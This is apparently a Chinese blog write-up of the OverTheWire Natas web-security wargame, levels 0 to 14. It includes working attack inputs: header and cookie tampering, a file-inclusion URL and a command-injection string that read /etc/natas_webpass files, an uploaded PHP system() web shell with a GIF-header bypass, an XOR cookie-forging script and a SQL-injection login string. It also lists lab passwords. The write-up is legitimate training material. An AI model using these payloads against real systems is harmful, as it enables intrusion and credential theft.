Wargames-Natas

web 安全基础

Posted by Sprint#51264 on April 8, 2022

引言

(参考博客)[https://blog.csdn.net/weixin_43220691/article/details/120062350]

level 0

网页源码,F12,ctrl+U,右键

  • steps

      natas0 natas0登录
        
      网站首页按ctrl+U
    
      <!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
    
    

level 1

右键禁用,方法见level 0介绍

  • steps

    
      ctrl+U
    
      <!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
    
    

level 2

目录遍历

  • steps

    
      ctrl+U 发现
    
      There is nothing on this page
      <img src="files/pixel.png">
    
      路径后加/files/pixel.png,这个图片啥也没有。
    
      那就浏览/files/
      可以看到目录,users.txt
    
      # username:password
      alice:BYNdCesZqW
      bob:jw2ueICLvT
      charlie:G5vCxkVV3m
      natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
        
      eve:zo4mJWyNj2
      mallory:9urtcpzBmH
    
    

level 3

robots.txt 防止信息爬取文件

  • steps

      源码无内容
    
      url+/robots.txt
    
      User-agent: *
      Disallow: /s3cr3t/
    
      从主页访问该文件夹,不知道是不是又XFF头验证,从robots.txt直接转进不去
    
      users.txt
    
      natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
    
    

level 4

改XFF头,网站只允许来自指定网站的访问

  • referer

    表示请求来源页面

  • XFF

    表示HTTP请求端的真实IP

  • steps

      burp抓包改referer头
    
      burp显示无法识别host记得改hosts文件
    
      改为http://natas5.natas.labs.overthewire.org/
    
      放包
    
      Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
    
    

level 5

  • steps

    
      登录之后显示你没有登陆
      #Access disallowed. You are not logged in
    
      burp抓包,把loggedin=0改为1
    
      #Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
    
    

level 6

代码审计

  • steps

      include "includes/secret.inc";
    
          if(array_key_exists("submit", $_POST)) {
              if($secret == $_POST['secret']) {
              print "Access granted. The password for natas7 is <censored>";
          } else {
              print "Wrong secret";
          }
          }
      ?>
    
      检查提交的值是否和secret变量相同
    
      直接访问他的包含文件得到
    
      $secret = "FOEIUWGHFEEUHOFUOIU";
    
      Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
        
    

level 7

  • steps

      主页就两个按键
    
      来回看了源码只发现一行
    
      密码在/etc/natas_webpass/natas8
    
      想路径穿越,没用
    
      后来想到这两个按钮是不是能传递参数,因为底下还显示一行字,于是把这个路径放到url里传参
    
      http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
    
      DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
    
    

level 8

  • steps

      查看源码,要求输入的内容三次函数变换之后和这个字符串相等,那就逆着来
    
      <?
      $s = "3d3d516343746d4d6d6c315669563362";
    
      function encodeSecret($secret) {
          return base64_decode(strrev(hex2bin($secret)));
      }
    
      echo encodeSecret($s);
      ?>
    
      #oubWYf2kBq
    
      #W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
    
    

level 9

同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。当所执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令

  • steps

    
      想提前闭合完成来着,但是发现不成功
    
      但是可以代替字典文件
    
      '' /etc/natas_webpass/natas10 #
    
      #nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
    

level 10

对上关进行了一些过滤

  • steps

      过滤的三个字符都没有用,可能上关想考查的是管道符
    
      #U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
    

level 11

两次异或运算等于本身

  • steps

      要想得到密码,showpassword就要等于true
    
      先看当前cookie存的data,其中showpassword="no",bgcolor="#ffffff"
    
    
      <?php
      $result = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D';
      $de_result = base64_decode($result);
      $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
      $new = json_encode($defaultdata);
      $key = '';
      for ($i=0;$i<strlen($new);$i++){
          $key .= $new[$i] ^ $de_result[$i];
      }
      print($key);
      ?>
    
    
      #qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
    

    得到key=qw8J

      <?php
      $de_result=base64_decode($result);
      $defaultdata=array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
      $new=json_encode($defaultdata);
      $key="qw8J";
      $outText='';
    
      for($i=0;$i<strlen($new);$i++) {
          $outText .= $new[$i] ^ $key[$i % strlen($key)];
          }
    
      echo base64_encode($outText);
    
      ?>
    
      #ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
    
      抓包cookie改成这个,传进去放包
    
      EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
    
    

level 12

图片马

  • steps

      system("cat /etc/natas_webpass/natas13");
    
      找个小于1K的图片上传,但其实有两个隐藏的表单
    
      <input type="hidden" name="MAX_FILE_SIZE" value="1000">
      <input type="hidden" name="filename" value="3xaj1x7skx.jpg">
    
      可以更改数值,这里直接改后缀或者抓包改后缀都可以
    
      上传之后打开对应文件
    
      jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
    
    

level 13

文件头

  • 图片文件头

      JPEG (jpg),                          文件头:FFD8FF              
      PNG (png),                          文件头:89504E47  文件尾:0000000049454E44AE426082
      GIF (gif),                             文件头:47494638
    
  • steps

      抓包加个文件头,JPEG没有成功
    
      换成GIF89A
    
      一句话同上关
    
      Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
    
    

level 14

SQL注入,万能密码

  • steps

      admin " or "1"="1" #
    
      AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J